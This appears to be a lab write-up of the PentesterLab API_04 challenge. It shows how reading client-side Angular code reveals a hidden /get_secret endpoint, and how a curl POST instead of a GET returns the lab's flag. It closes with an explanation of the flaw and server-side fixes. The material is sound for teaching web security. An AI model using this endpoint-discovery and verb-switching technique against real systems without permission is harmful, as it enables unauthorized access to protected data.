API 04: HTTP Verb Tampering
When I checked the proxy, there were no interesting API calls being made.
Description: In this video, we explore the challenge API_04 from the API badge on PentesterLab. We demonstrate how to exploit HTTP verb tampering to access a restricted endpoint.
1. Context & Situation#
Target: API 04 (Get Secret Endpoint)
Initial Problem:
I visited the website at https://ptl-42504a5a2c54-d5af68d881eb.libcurl.me/ and found a simple application called "Approval". The page didn't show any obvious endpoints or forms.
When I checked the proxy, there were no interesting API calls being made.
2. The Discovery#
Step 1: Exploring the JavaScript Files#
I looked at the JavaScript files loaded by the page. I found a large JS file (49,000 lines!) that contained Angular code.
Inside this file, I found an interesting function:
angular.module('Approval')
.factory('request', ['$http', function($http){
var o = {
requests: [],
};
o.create = function(item) {
o.requests.push(item);
};
o.get_secret = function() {
return $http.post('/get_secret', angular.toJson({"name":"PTLAB_KEY"})).then(function(res){
});
};
return o;
}]);Key Finding: There's a hidden endpoint /get_secret that expects a POST request!
Step 2: Testing the Endpoint with GET#
First, I tried to access the endpoint with a GET request:
- Command:
bash
curl https://ptl-42504a5a2c54-d5af68d881eb.libcurl.me/get_secret - Result:
404 Not Found- The page doesn't exist! - Error Message: "The page you were looking for doesn't exist."
Step 3: Using the Correct HTTP Verb#
Since the JavaScript code showed it uses $http.post(), I tried with a POST request:
- Command:
bash
curl https://ptl-42504a5a2c54-d5af68d881eb.libcurl.me/get_secret -X POST - Result:
200 OK- Success! - Response:
json
{"CTF_KEY":"flag{API4_Bypass}"}
3. The Vulnerability#
Type: HTTP Verb Tampering / Improper HTTP Method Handling
Impact: The endpoint /get_secret is only accessible via POST request, but it's not properly hidden. Anyone who finds the endpoint in the JavaScript code can access it by using the correct HTTP method.
4. What We Learned#
The Issue:
- The endpoint responds differently based on the HTTP verb used (GET vs POST)
- GET returns 404 (making it seem like the endpoint doesn't exist)
- POST returns the secret data
- This is "security by obscurity" - hiding functionality instead of properly protecting it
Why This is Bad:
- JavaScript code is visible to everyone (it runs in the browser)
- Attackers can easily find hidden endpoints by reading the JS files
- Just changing the HTTP verb bypasses the "protection"
- No authentication or authorization is required
5. Attack Summary#
- Discover the endpoint by reading JavaScript files
- Identify the HTTP method required (POST)
- Send a POST request to
/get_secret - Retrieve the secret key
6. How to Fix This#
Proper Security:
- Authentication: Require users to log in and verify their identity
- Authorization: Check if the user has permission to access the secret
- Don't rely on HTTP verbs for security - they're easy to change
- Don't put sensitive logic in client-side JavaScript
- Implement proper access control on the server side
- Use API keys or tokens to authenticate requests
Example of Better Protection:
// Server-side (secure)
app.post('/get_secret', authenticateUser, checkPermissions, function(req, res) {
if (req.user.hasPermission('read:secrets')) {
res.json({secret: getSecret()});
} else {
res.status(403).json({error: 'Forbidden'});
}
});Lab Completed!